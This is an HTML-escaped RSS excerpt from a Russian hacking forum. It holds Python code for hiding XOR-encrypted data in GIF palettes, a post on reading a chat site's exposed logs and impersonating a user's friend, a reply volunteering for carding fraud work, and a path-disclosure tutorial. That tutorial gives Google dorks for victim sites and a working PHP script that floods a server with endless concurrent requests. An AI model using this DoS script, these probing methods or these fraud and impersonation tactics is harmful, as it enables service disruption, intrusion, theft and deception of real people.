&amp;#160; if maxlen&amp;gt;=len(data):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; data+=[0]*int(maxlen-len(data)) #при необходимости дополняем нулями наше смообщение&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; else:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; raise Exception(&amp;quot;Can&#039;t insert {0} bytes of data in {1}&amp;quot;.format(len(data),maxlen))&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; rdata=[]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; for d in data: #разбиваем каждый байт на две части&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ba=BitArray(d)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; rdata+=[int(ba[:4]),int(ba[4:])]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; data=rdata&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; self._pallet=[(int(x) &amp;amp; 0b11110000) for x in list(self._pallet)] #очищаем младшие биты каждого байта в палитре&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; self._pallet=[(self._pallet[i]|data[i]) for i in range(len(data))] #ложим данные в палитру&lt;br /&gt;&amp;#160; &amp;#160; def getData(self):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; data=[(self._pallet[i]&amp;amp;0xf) for i in range(len(self._pallet))] #удаляем ненужные нам биты&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; data=[int(BitArray(data[i],4)+BitArray(data[i+1],4)) for i in range(0,len(data),2)] #складываем байты из двух частей&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; l=int.from_bytes(data[:2],&amp;quot;little&amp;quot;)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; return data[2:2+l]&lt;br /&gt;&amp;#160; &amp;#160; def construct(self):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; #собираем файл из частей&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; return self._header+self._info+bytes(self._pallet)+self._data&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Надеюсь, коментов в коде достаточно для его понимания, но если нет -- задавайте вопросы, на все отвечу.&lt;br /&gt;[Шифруемся]&amp;#8203;&lt;br /&gt;Поскольку одной из целей было создать код, не зависящий от сторонних библиотек, а в питоне нет ничего кроме хешфункций, было принято решение просто гаммировать данные хитрым хешем пароля:&lt;/p&gt;&lt;div class=&quot;quote-box spoiler-box&quot;&gt;&lt;div onclick=&quot;$(this).toggleClass(&#039;visible&#039;); $(this).next().toggleClass(&#039;visible&#039;);&quot;&gt;текст&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;import hashlib&lt;br /&gt;#генератор гаммы для шифрования&lt;br /&gt;#не лучший вариант, но и не худший:)&lt;br /&gt;def GammaString(secret):&lt;br /&gt;&amp;#160; &amp;#160; if type(secret) is str:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; secret=secret.encode()&lt;br /&gt;&amp;#160; &amp;#160; md5=hashlib.md5()&lt;br /&gt;&amp;#160; &amp;#160; sha=hashlib.sha512()&lt;br /&gt;&amp;#160; &amp;#160; md5.update(secret)&lt;br /&gt;&amp;#160; &amp;#160; sha.update(secret)&lt;br /&gt;&amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; while True:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; digest=md5.digest()+sha.digest()&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; for d in digest:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; yield d&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; md5.update(digest)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; sha.update(digest)&lt;br /&gt;#опять таки не лучший вариант&lt;br /&gt;def xor(data, secret):&lt;br /&gt;&amp;#160; &amp;#160; if type(data) is str:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; data=data.encode()&lt;br /&gt;&amp;#160; &amp;#160; gamma=GammaString(secret)&lt;br /&gt;&amp;#160; &amp;#160; return bytes(d^next(gamma) for d in data)&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Коротко о сути работы GammaString: этот генератор сначала берет md5 и sha512 хэши пароля, после чего складывает их в один digest и посимвольно отдает в функцию гаммирования, когда этот digest заканчивается, берется его md5 и sha512 хеши и складываются в новый digest и все начинается с начала, таким образом мы получаем почти бесконечную довольно качественную гамму.&lt;br /&gt;[Интерфейс]&amp;#8203;&lt;br /&gt;Поскольку это просто заготовка, интерфейс будет консольным, за него отвечает следующий код:&lt;/p&gt;&lt;div class=&quot;quote-box spoiler-box&quot;&gt;&lt;div onclick=&quot;$(this).toggleClass(&#039;visible&#039;); $(this).next().toggleClass(&#039;visible&#039;);&quot;&gt;текст&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;import chipher&lt;br /&gt;from giffile import Gif&lt;br /&gt;import sys&lt;br /&gt;usage=&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;Using {0}:&lt;br /&gt;&amp;#160; &amp;#160; {0} &amp;lt;put|get&amp;gt; &amp;lt;-s&amp;quot;password&amp;quot;|-sf&amp;quot;pwdfile&amp;quot;&amp;gt; [&amp;lt;-d&amp;quot;data string&amp;quot;|-df&amp;quot;datafile&amp;quot;&amp;gt;] &amp;lt;-g&amp;quot;gif container&amp;quot;&amp;gt; [&amp;lt;-o&amp;quot;out file name&amp;quot;&amp;gt;]&lt;br /&gt;Parameters:&lt;br /&gt;&amp;#160; &amp;#160; put \t put data to container&lt;br /&gt;&amp;#160; &amp;#160; get \t get data from container&lt;br /&gt;&amp;#160; &amp;#160; -s&amp;quot;password&amp;quot; \t set chiping password&lt;br /&gt;&amp;#160; &amp;#160; -sf&amp;quot;pwdfile&amp;quot; \t using as pwd content of file&lt;br /&gt;&amp;#160; &amp;#160; -d&amp;quot;data string&amp;quot; \t set chiping text, must be ignored when get&lt;br /&gt;&amp;#160; &amp;#160; -df&amp;quot;datafile&amp;quot; \t using text of file as chiping text, must be ignored when get&lt;br /&gt;&amp;#160; &amp;#160; &amp;lt;-g&amp;quot;gif container&amp;quot;&amp;gt; \t set gif container&lt;br /&gt;&amp;#160; &amp;#160; &amp;lt;-o&amp;quot;out file name&amp;quot;&amp;gt; \t set output, if ignored put out to console&lt;br /&gt;&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;def main(argv):&lt;br /&gt;&amp;#160; &amp;#160; gif=&amp;quot;&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; data=&amp;quot;&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; secret=&amp;quot;&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; out=&amp;quot;&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; action=&amp;quot;put&amp;quot;&lt;br /&gt;&amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; for arg in argv:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; if arg.startswith(&amp;quot;-s&amp;quot;):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; secret=arg[3:-1]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elif arg.startswith(&amp;quot;-d&amp;quot;):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; data=arg[3:-1]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elif arg.startswith(&amp;quot;-sf&amp;quot;):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; secret=open(arg[3:-1],&amp;quot;rb&amp;quot;).read()&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elif arg.startswith(&amp;quot;-df&amp;quot;):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; data=open(arg[3:-1],&amp;quot;rb&amp;quot;).read()&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elif arg.startswith(&amp;quot;-g&amp;quot;):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; gif=open(arg[3:-1],&amp;quot;rb&amp;quot;).read()&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elif arg.startswith(&amp;quot;-o&amp;quot;):&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; out=arg[3:-1]&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elif arg==&amp;quot;put&amp;quot;:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; action=&amp;quot;put&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; elif arg==&amp;quot;get&amp;quot;:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; action=&amp;quot;get&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; if gif==&amp;quot;&amp;quot; or secret==&amp;quot;&amp;quot;:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; print(usage)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; return&lt;br /&gt;&amp;#160; &amp;#160; gif=Gif(gif)&lt;br /&gt;&amp;#160; &amp;#160; res=b&amp;quot;&amp;quot;&lt;br /&gt;&amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; if action==&amp;quot;put&amp;quot;:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; if data==&amp;quot;&amp;quot;:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; print(usage)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; return&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; data=chipher.xor(data,secret)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; gif.putData(data)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; res=gif.construct()&lt;br /&gt;&amp;#160; &amp;#160; elif action==&amp;quot;get&amp;quot;:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; res=chipher.xor(gif.getData(),secret)&lt;br /&gt;&amp;#160; &amp;#160; if out==&amp;quot;&amp;quot;:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; try:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; print(res.decode())&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; except:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; print(&amp;quot;Can&#039;t decode content as string, use -o parameter&amp;quot;)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; print(res)&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; return&lt;br /&gt;&amp;#160; &amp;#160; else:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; with open(out,&amp;quot;wb&amp;quot;) as f:&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; f.write(res)&lt;br /&gt;if __name__==&amp;quot;main&amp;quot;:&lt;br /&gt;&amp;#160; &amp;#160; main(sys.argv)&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Как видите, все весьма просто. Останавливаться на нем, я пожалуй не буду, код кривой, но вроде рабочий.&lt;br /&gt;[В заключение]&amp;#8203;&lt;br /&gt;Определить наличие в файле зашифрованных скрытых данных может быть весьма сложно, особенно не зная пароля. Попробуйте угадать в какой из картинок скрыто сообщение(просто) и какое(сложнее). Подсказка: там секретные данные.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Ванька)</author>
			<pubDate>Fri, 10 Feb 2017 18:52:28 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=12#p12</guid>
		</item>
		<item>
			<title>Счастье История одного чата.</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=11#p11</link>
			<description>&lt;p&gt;Всем привет, что то я в писатели подался =) Надеюсь кому то интересно, то что я вам рассказываю. И так &amp;quot;Стартуем или я начну стрелять&amp;quot; &lt;br /&gt;Решил я как то раз вспомнить молодость, думаю - дай ка завалюсь на какой ни будь чат и потреплюсь о то о сем. Забив в гугл запрос &amp;quot;чат без регистрации&amp;quot; он мне выдал кучу ссылок, я выбрал один из них и зашел в умопомрачительное место. Ночной призрак обсуждал, что то с Нимфоманкой (было понятно, что знакомы они не один день). БабкаФкедах тролила всех. В общем 80% были постоянные посетители чата. Потупив и по обсуждая с жителями чата разные новости, я решил, а дай ка посмотрим, как чат чувствует себя изнутри. Не буду хвастать и врать, что я сидел изучал исходники, все поля перелапатил и тд. Нет, поступил по дилетантски, так как характер взлома был - ради прикола, а не ради того, что бы положить все и вся на своем пути. Начал дописывать к урлу все, что приходило в голову на тот момент. какойточат.ру/admin , какойточат.ру/administrator и тд. Админку я естественно нашел, но не в том суть. Не пытаясь в нее пробиться, найти в БД логин и пасс админа. Я решил поступить намного проще. Если есть админка, значит админ должен что то делать. Не так ли? Следить за спамом, банить и тд. А что бы следить за всем этим, нужен лог чата. Верно? Верно. И тут я запустил nikto и пошел курить. Вернувшись никтошенька сказал - какойточат.ру/users/logs/ может быт интересным. Ну если говорит так, значит посмотрим =) Открыв урл,моему виду представился список юзеров, всех кто бы в чате, начиная от зарегистрированных, заканчивая гостями, с временными никами. Нажав на каждый из них, я мог посмотреть всю его переписку, ip адресс с которого он заходил и тд. Ни чего себе, да? Я быстренько вышел из чата, под ником Oxygen и зашел под ником якобы знакомого Нимфоманки, в итоге она мне открыла много своих секретов, ведь я же был не Oxygen, а ее хорошим другом чата, ведь я знал, о чем они общались в привате =) А теперь представьте, что можно узнать о людях, зная их друзей и их секреты, в сети. Да я знаю, статья средненькая. Но наводит на некоторые мысли. Главное, не то где вы и что вы получили, а то, как вы этим воспользовались. Всем спасибо за внимание и до новых встреч.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Ванька)</author>
			<pubDate>Fri, 10 Feb 2017 18:49:45 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=11#p11</guid>
		</item>
		<item>
			<title>Требуются вбивалы ( подойдут новички)</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=10#p10</link>
			<description>&lt;div class=&quot;quote-box answer-box&quot;&gt;&lt;cite&gt;СЕРБ написал(а):&lt;/cite&gt;&lt;blockquote&gt;&lt;p&gt;Требуется пару человек. Вбив палки, сс &lt;br /&gt;оплата ежедневно. Золотые горы не обещаю, примерный профит в день 80$ за 2 вбива&lt;br /&gt;За подробностями в лс туда и скину жабу&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;
						&lt;p&gt;Есть свободное время, можем по работать&lt;/p&gt;</description>
			<author>mybb@mybb.ru (Ванька)</author>
			<pubDate>Fri, 10 Feb 2017 18:48:31 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=10#p10</guid>
		</item>
		<item>
			<title>Path Disclosure: дела путевые</title>
			<link>https://carton.forum.cool/viewtopic.php?pid=8#p8</link>
			<description>&lt;p&gt;Любой мало-мальски серьезный взлом требует основательной подготовки, анализа сервера, самого сайта, софта. Пока мы не попали внутрь, мы не знаем иерархии сервера и не можем адекватно ориентироваться в путях. Например, документ index.php может лежать как в /home/target.com/docs/index.php, так и в любом месте с похожим, а порою вовсе не похожим адресом. Чтобы знать точно иерархию, надо встать на колени перед сервером, помолиться и попросить его &amp;quot;раскрыть путь&amp;quot; — что по англицки значится как &amp;quot;path disclosure&amp;quot;.&lt;br /&gt;Для чего использовать эту информацию? Ну например: у вас есть уязвимость на локальный include и возможность закачать аттачмент на форум — но вы не знаете, какой адрес (даже относительный) у папки аттачментов форума, а наугад найти не получилось. Приходится искать другими методами — более осмысленными — большая часть из них описана ниже.&lt;br /&gt;Поскольку примерно половина скриптов в мире написано на языке php, я буду говорить про раскрытие пути в PHP-скриптах, кстати, смею заметить, именно в php это сделать легче всего, разработчики не поскупились — почти в любой ошибке указан абсолютный адрес файла :).&lt;br /&gt;Google — первый помощник в делах путевых&lt;br /&gt;Самый простой, и чаще всего самый эффективный способ найти &amp;quot;баги&amp;quot; — использовать Google. Во-первых, он лучше всех индексирует ошибки, во-вторых, у него есть кэш, который нам и понадобится. Если не выключены ошибки (если выключены — найти путь в сотню раз сложнее), то при обработке бажного скрипта на экран выведется что-то вроде&lt;br /&gt;Warning: Cannot modify header information — headers already sent by (output started at /home/local/Web/sites/www.php.net/include/site.inc:155) in /home/local/Web/sites/www.php.net/include/layout.inc on line 80&lt;br /&gt;Вот путь и раскрыт. (Надо заметить, что раскрывается абсолютный путь, что очень полезно). Нам надо найти такие бажные страницы на заданном сервере. Простые примеры запросов для поиска кривых страниц через google:&lt;br /&gt;&amp;quot;headers already sent&amp;quot; site:victim.ru — ошибки при отправке хидеров самые популярные.&lt;br /&gt;&amp;quot;mysql_connect&amp;quot; site:victim.ru — mysql очень любит ругаться, почем зря. Мы тоже любим mysql &amp;#128521;&lt;br /&gt;&amp;quot;failed to open stream&amp;quot; site:victim.ru — ошибки, связанные с чтением файлов.&lt;br /&gt;Если всё это не помогает, можно попробовать поискать просто &amp;quot;Warning&amp;quot; — и долго копаться в результатах. Самое интересное, что часто баги, которые находит гугл, могут быть уже закрыты (например, ошибка too many connections в mysql — штука редкая, временная, но полезная). В таких случаях надо не забывать про пимпу &amp;quot;Сохранено в кэше&amp;quot;, которая есть рядом почти с каждым результатом в гугле. На странице кэша любезно сохранена вся информация об ошибке, вместе с путем.&lt;br /&gt;Если поисковик не выдал интересных результатов, отчаиваться не стоит. Гугл всё равно крут, попробуй найти поддомены для анализируемого сайта — простой запрос inurl:nasa.gov выдаст все проиндексированные поддомены сайта, на которых тоже можно поискать &amp;quot;path disclosure&amp;quot;. Для всех поисков можно написать автомат-парсер, и это довольно просто, но придумано для лентяев (или тех, кто ломает по 500 сайтов в день), поэтому описывать его здесь не вижу смысла.&lt;br /&gt;Поиск информации о &amp;quot;path disclosure&amp;quot; для конкретных приложений&lt;br /&gt;Всегда можно пойти путем скрипт кидисов и залезть на багтрек. К примеру, на сервере стоит phpMyAdmin версии 2.6.*, и доступ к панели залогинивания мы уже нашли. Нам опять поможет священный гугль — запрос phpmyadmin 2.6 path disclosure порадует нас обилием подсказок. Самое интересное, что далеко не каждая компания, пишущая софт, спешит залатать такие баги в своих ваяниях. Почти всегда можно найти какой-нибудь глупый скрипт, который так и говорит &amp;quot;ну узнай же у меня путь, возьми меня!&amp;quot;.&lt;br /&gt;Ручные методы — работает даже на php.net &amp;#128521;&lt;br /&gt;Начать ручное сканирование можно с осмотра страниц — тыкай себе разные кнопки и ссылки, есть вероятность, что что-нибудь, да отыщешь. Говённый метод, надо сказать, хотя не раз помогал. Мой любимый способ — это передача массивов. Чтобы не вдаваться в детали, могу сразу привести пример на незабвенном php.net.&lt;br /&gt;&lt;a href=&quot;http://php.net/?lang&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/?lang&lt;/a&gt;[]=hacked тут же расскажет нам, где деньги лежат (кстати, покажет много интересных вещей — например, ссылку на &lt;a href=&quot;http://php.net/include/site.inc&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/include/site.inc&lt;/a&gt;).&lt;br /&gt;Так-то, а кто-то ещё говорил, что path disclosure — очень слабая уязвимость! Как видно из ссылки, уязвимость кроется в паре квадратных скобок, а именно при их помощи задаётся массив в php. Их можно загонять в любые переменные, передаваемые на сервер — добавляем в конце квадратные скобки и злобненько хихикаем. Далеко не всегда выходит проделать такое в адресной строке. Но есть же ещё формочки и незабвенный, а также редко проверяемый метод &amp;quot;POST&amp;quot;. Достаточно сохранить страницу с формой для залогинивания, подправить немного код (например: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;login[shit]&amp;quot;&amp;gt;) и нажать на сабмит. Все эти вещи в большой степени касаются и cookies — чем сложнее снаружи подделать, тем&lt;br /&gt;реже идут проверки. Хотя и проверки бывают очень кстати — если логин проверяется preg_match — то php выдаст ошибку применения массива в регулярном выражении и наш любимый &amp;quot;path disclosure&amp;quot;. Защита может служить для нападения.&lt;br /&gt;Ещё один неплохой способ — sql injection. Передавайте кавычки в разные переменные — возможно, вы найдете там sql injection. Вполне вероятно, он будет очень плохонький и не даст вам ничего сделать с самой базой данных… Но вы наверняка увидите что-то на подобие такой ошибки:&lt;br /&gt;Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /opt/www/data/dealers/howtofindus.html on line 34&lt;br /&gt;Как видно из описания ошибки, она наступает, когда есть проблемы с ответом от сервера. Чтобы вызвать такую ошибку, можно попробовать передавать разные цифровые данные в переменные (например, отрицательные номера анкет, текст вместо цифр и т.п). Редкий, но интересный способ — это закачка на сервер — если вам разрешено закачивать файлы на сервер (ещё лучше — конкретно картинки), то можно попробовать закачать файл на 10-30 мегабайт — тут возможны несколько вариантов ошибок:&lt;br /&gt;&amp;#160; &amp;#160; После закачки файл обрабатывается, и скрипту не хватает памяти, чтобы его загрузить (ошибка о нехватки памяти выведет путь).&lt;br /&gt;&amp;#160; &amp;#160; Если файл — картинка, после закачки, например, уменьшается до каких-то размеров — то ошибка внутри файла может вызвать ошибку обработчика, с всё тем же &amp;quot;path disclosure&amp;quot;.&lt;br /&gt;&amp;#160; &amp;#160; Обработка файла будет длиться долго и вызовет ошибку слишком долгого выполнения скрипта.&lt;br /&gt;Да и вообще, если у вас вышло загрузить сервер работой, можно добиться третьей ошибки без особых проблем. Обычно на хостингах время выполнения скрипта ограничено 20-30 секундами.&lt;br /&gt;Поиск наобум.&lt;br /&gt;Если пришлось дойти до этого, значит дела совсем плохи. Отчаиваться не надо — это будем делать, когда пиво кончится.&lt;br /&gt;&amp;#160; &amp;#160; Ищем скрипты. Сначала такие вещи, как &amp;quot;phpinfo.php&amp;quot;, &amp;quot;info.php&amp;quot;,&amp;quot;test.php&amp;quot; ,&amp;quot;1.php&amp;quot; и другие подобные названия, в которых может вызываться функция phpinfo(), которая расскажет нам даже больше, чем мы заслуживаем.&lt;br /&gt;&amp;#160; &amp;#160; Смотрим, какие скрипты уже есть на сервере и ищем их бекапы: &amp;quot;1index.php&amp;quot;,&amp;quot;index2.php&amp;quot;,&amp;quot;_index.php&amp;quot;,&amp;quot;index_old.php&amp;quot;. бекапы часто бывают бажные и выдают массу ошибок. Кроме того, можно поискать разные папки — вдруг там глючные файлы?&lt;br /&gt;&amp;#160; &amp;#160; Если на сайте есть гостевая книга (левый форум, голосование и т.п.), но информации про раскрытие пути в сети не нашлось, надо понять, что за скрипты и каких версий стоят, скачать их у производителя и посмотреть изнутри — все ли переменные адекватно фильтруются? 90% таких поисков оканчиваются успехом.&lt;br /&gt;Немного про DOS атаку&lt;br /&gt;Мы не нашли ничего. Нам не помог гугл и багтрек — и вообще, на сайте стоит только какая-то неуязвимая CMS. Как быть? Что делать? Атаковать! Я не зря писал про &amp;quot;хорошие&amp;quot; ошибки mysql. Too many connections — это наше всё. Но как вывести из строя сайт хотя бы на пару минут? Прямой дос-атакой на php скрипт.&lt;br /&gt;Вот план нашей атаки:&lt;br /&gt;&amp;#160; &amp;#160; Найти url на сайте, который создает максимальную нагрузку на сервер (точнее на базу данных), чаще всего это url поиска, или вывода пары сотен сообщений на экран.&lt;br /&gt;&amp;#160; &amp;#160; Как угодно, но быстро и много раз попросить сервер выполнить этот скрипт.&lt;br /&gt;&amp;#160; &amp;#160; Следить — не начнёт ли ресурс выдавать mysql ошибки (иногда бывают и ошибки времени исполнения, тоже хорошо).&lt;br /&gt;Итак, предположим мы нашли урл, который грузится две секунды и выдают нам в браузер мегабайт чего-то там (я не имею в виду файл на мегабайт — это должна быть информация из базы данных!)&lt;br /&gt;&lt;a href=&quot;http://victim.ru/search.php?find=a&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://victim.ru/search.php?find=a&lt;/a&gt; — пусть оно выводит все сообщения, в которых есть буква &amp;quot;а&amp;quot;&lt;br /&gt;Нам абсолютно не хочется, чтобы сервер грузил нас метрами мусора — поэтому мы должны ограничиваться только запросами к серверу, не читая ответ. Это делается таким php-скриптом:&lt;/p&gt;&lt;div class=&quot;quote-box spoiler-box&quot;&gt;&lt;div onclick=&quot;$(this).toggleClass(&#039;visible&#039;); $(this).next().toggleClass(&#039;visible&#039;);&quot;&gt;КОД&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&amp;lt;?&lt;br /&gt;$site=&#039;victim.ru/search.php?find=a&#039;; # адрес сайта без http://&lt;br /&gt;$addr=explode(&#039;/&#039;,$site,2); # делим адрес на адрес сервера и адрес скрипта&lt;br /&gt;$ip=gethostbyname($addr[0]); # узнаём IP сервера&lt;br /&gt;# Составляем запрос документа:&lt;br /&gt;$request= &#039;GET /&#039; . $addr[1]. &#039; HTTP/1.0&#039; . &amp;quot;\r\n&amp;quot;;&lt;br /&gt;$request .= &amp;quot;Accept: */*\r\n&amp;quot;;&lt;br /&gt;$request .= &amp;quot;Host: &amp;quot; . $addr[0] . &amp;quot;\r\n\r\n&amp;quot;;&lt;br /&gt;while(true) # пусть атакует вечно ;)&lt;br /&gt;{&lt;br /&gt;for($i=1;$i&amp;lt;=200;$i++) # будем использовать 200 соединений с сервером одновременно! (можно менять, но больше - не всегда лучше)&lt;br /&gt;{&lt;br /&gt;$f[$i]=NULL; # сбрасываем дескриптор&lt;br /&gt;while(!$f[$i]) # пока дескриптор пустой, будем слать запросы на сервер&lt;br /&gt;{&lt;br /&gt;$f[$i]=@fsockopen($ip, 80, $errno, $errstr, 5); # 5 - это таймаут, можно менять.&lt;br /&gt;}&lt;br /&gt;$r=@fwrite($f[$i],$request); # отправляем наш злобный запрос серверу&lt;br /&gt;}&lt;br /&gt;# закрываем все открытые дескрипторы&lt;br /&gt;for($i=1;$i&amp;lt;=200;$i++)@fclose($f[$i]);&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;p&gt;Скрипт будет атаковать сервер со скоростью открытия соединения, а не скачивания результата. На результат наш скрипт вообще плевал. Чтобы регулировать скорость работы, можно менять количество открываемых соединений (здесь = 200) и количество одновременно запущенных скриптов (скажу, что с adsl линии у меня падали сервера серьезных хостеров, не говоря о дешевом collocation’е). Так что не переусердствуйте — вам надо положить не сервер, а только напрячь базу данных.&lt;br /&gt;Защищаем свои сайты&lt;br /&gt;Как же защитить свой сайт от &amp;quot;path disclosure&amp;quot;? Тут могу дать несколько разных советов:&lt;br /&gt;&amp;#160; &amp;#160; Не используйте софт сторонних фирм, пишите сами и сами проверяйте переменные.&lt;br /&gt;&amp;#160; &amp;#160; Проверьте вышеприведенными методами свой сайт — всё ли в порядке?&lt;br /&gt;&amp;#160; &amp;#160; Всегда можно отключить ошибки в скрипте, поставив в начало директиву error_reporting(0);&lt;br /&gt;Примеры защиты переменных:&lt;br /&gt;$index=(int)$_GET[‘index’]; — защищает переменную сразу и от кавычек с текстом, и от массивов.&lt;br /&gt;if(is_array($_POST[‘login’]))die(‘гадский хакер!’); — прямая проверка на массив.&lt;br /&gt;Помните, большинство функций в PHP неадекватно работает с целыми массивами — всегда проверяйте, что вы им скармливаете.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (FedorDobr)</author>
			<pubDate>Fri, 10 Feb 2017 18:45:06 +0300</pubDate>
			<guid>https://carton.forum.cool/viewtopic.php?pid=8#p8</guid>
		</item>
	</channel>
</rss>
